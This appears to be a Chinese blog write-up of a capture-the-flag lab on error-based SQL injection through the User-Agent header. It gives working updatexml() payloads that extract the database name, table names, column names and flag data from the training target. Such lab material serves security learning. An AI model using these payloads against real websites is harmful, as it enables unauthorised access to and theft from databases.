渗透测试(三)Head注入1

盲注 3 —— 通过Head注入

测试靶场(掌控安全学院SQL注入靶场):https://hack.zkaq.cn/battle/target?id=6b59d4693fb1bfbe

  • 分析:以正确账号密码登录后,网站会记录当前User-Agent,以此尝试是否可以在写入User-Agent时注入SQL
  1. 通过BurpSuite抓取包,修改User-Agent,尝试通过updatexml()函数报错来获取一些数据库信息

User-Agent: 'or updatexml(1,concat('~',(select database())),1))#

(img-lc6Z4EHR-1598930341360)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20200901102031253.png)]

报错显示,当前库名为head_error

  1. 构造注入语句,获取数据库表名:flag_head、ip、refer、uagent、user

User-Agent: 'or updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1),1) #

在这里插入图片描述

  1. 找出flag_head中的字段:Id、flag_h1

User-Agent: 'or updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='flag_head' and table_schema=database() limit 2,1)),1),1) #

  1. 找出flag_h1中的关键数据:zKaQ-YourHd、zKaQ-Refer、zKaQ-ipip
  2. 提交flag。
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值